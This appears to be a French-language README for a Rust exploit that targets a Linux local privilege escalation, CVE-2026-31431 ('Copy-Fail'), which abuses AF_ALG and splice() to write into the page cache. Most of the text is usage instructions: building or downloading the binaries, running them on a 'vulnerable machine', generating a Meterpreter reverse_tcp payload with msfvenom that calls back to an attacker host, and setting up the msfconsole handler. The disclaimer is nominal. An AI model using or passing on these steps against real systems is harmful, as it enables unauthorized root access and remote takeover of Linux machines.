
Exploit d'élévation de privilèges locaux basé sur Rust pour CVE-2026-31431, permettant l'exécution de shellcode personnalisé tel que Meterpreter sur les systèmes Linux.
Une implémentation en Rust d'un exploit d'élévation de privilèges locaux pour CVE-2026-31431 (Copy-Fail).
Il permet d'exécuter un shellcode personnalisé (tel que Meterpreter)
Xint a divulgué CVE-2026-31431, une vulnérabilité d'écriture arbitraire dans le cache de pages qui enchaîne AF_ALG et splice() pour obtenir une primitive d'écriture de 4 octets.
Source : Copy Fail : 732 octets pour obtenir root sur toutes les principales distributions Linux
Ce projet a été développé dans le cadre de mon intérêt personnel pour l'étude de la cybersécurité. Cependant, il pourrait potentiellement être utilisé à des fins malveillantes.
Veuillez ne PAS utiliser cet outil pour des activités illégales.
L'auteur n'est pas responsable de toute utilisation abusive de ce logiciel.
Remarque : Le travail original utilise un shellcode compressé/encodé (par exemple,
/bin/sh). Dans cette implémentation, je l'ai remplacé par un shellcode/bin/bashbrut (non compressé), ce qui facilite la personnalisation ou le remplacement direct par des charges utiles fournies par l'utilisateur.
Clonez le projet, puis exécutez build.sh :
git clone [email protected]:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh
Téléchargez et extrayez le paquet de la version :
wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86
Les binaires fournissent les options ci-dessous :
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin
Sur la machine vulnérable :
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
Utilisez la commande ci-dessous (définissez PrependSetUid sur True) pour générer la charge utile Meterpreter :
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin
Sur la machine de l'attaquant (Kali Linux) :
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run
Sur la machine vulnérable :
./CVE-2026-31431-Linux-Copy-Fail --bin payload.bin